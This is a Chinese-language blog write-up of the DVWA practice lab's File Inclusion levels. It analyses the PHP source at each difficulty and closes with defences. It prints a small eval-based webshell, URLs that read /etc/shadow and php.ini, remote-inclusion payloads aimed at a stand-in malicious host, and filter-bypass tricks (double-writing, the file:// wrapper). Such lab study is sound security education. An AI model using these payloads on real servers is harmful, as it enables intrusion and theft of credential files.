DVWA靶机学习——File Inclusion(文件包含)

这个系列是学习DVWA靶机的。今天学习File Inclusion的Low、Medium、High、Impossible级别。

Posted by K4ys0n on July 14, 2020

0x00 File Inclusion(文件包含)

File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

文件包含漏洞通常配合文件上传来获取webshell。

0x01 Low

源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

代码就是读取链接中的一个参数page,作为文件包含进来。

http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=file1.php

获取page中的参数,作为php文件执行。

解题思路

  • 本地文件包含 http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=/etc/shadow http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=C:\test.txt http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=....\php.ini

  • 远程文件包含 当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行。

代码文件shell.php

<?php
echo phpinfo();
eval($_GET['pass']);
?>

构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=http://恶意ip/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。

需要修改php.ini系统配置allow_url_include=On。 可以在kali虚拟机中开启Apache2服务

service apache2 start
cd /var/www/html/
vim shell.php

写入
<?php
echo "welcome test"
?>
保存退出即可。

然后访问链接示例:http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=http://192.168.29.135/shell.php 。

0x02 Medium

源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

比Low级别多了http:// 和https:// 的过滤以及../ 和..”过滤(严重怀疑源码编写有误,应该是”..\“,这样才能过滤..)。但还是可以双写绕过。

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如: page =hthttp://tp://ip/phpinfo.txt 时,str_replace函数会将http:// 删除,于是page=http://ip/phpinfo.txt ,成功执行远程命令。 http://ip/dvwa/vulnerabilities/fi/page=….....\php.ini 使用….\,也就是双写的..\,这样就可以绕过..\过滤了。

解题思路

利用双写绕过和远程文件包含漏洞。

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行。

代码文件shell.php

<?php
echo phpinfo();
eval($_GET['pass']);
?>

构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=hthttp://tp://恶意ip/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。

需要修改php.ini系统配置allow_url_include=On。 可以在kali虚拟机中开启Apache2服务

service apache2 start
cd /var/www/html/
vim shell.php

写入
<?php
echo "welcome test"
?>
保存退出即可。

然后访问链接示例:http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.29.135/shell.php 。

0x03 High

源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

检查文件名为file开头的文件并且文件名不能为include.php。使用fnmatch()确保$file是以file开头。

那么可以利用file伪协议绕过,如:file://C:\test.txt。php包含进来时会把file://C:\test.txt当成文件名读进来从而绕过fnmatch,然后在执行包含时会根据file伪协议把file伪协议路径下的文件包含进来。

当然前提是得知道要包含文件的绝对路径,无论什么后缀的文件被包含进来后都会当做php执行。

解题思路

利用文件上传漏洞上传Webshell,然后用伪协议来包含。

Webshell代码文件shell.php

<?php
echo phpinfo();
eval($_GET['pass']);
?>

构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=file://绝对路径/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。

0x04 Impossible

源码分析

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

这是基于白名单的防御,只包含白名单中的文件,一般是无法突破了的。

解题思路

无。

0x05 小结

防御方法:

  • 如果没有必要就关闭allow_url_fopen与allow_url_include。
  • 白名单规定文件名。
  • 如果不能白名单那就要设置黑名单过滤(尽可能全)http:// 、..\、../等符号。
  • 如果文件包含与文件上传相结合时,还要考虑上传图片文件可能包含代码,应进行文件内容检查,全面防御。

0x06 参考

www.freebuf.com/articles/web/119150.html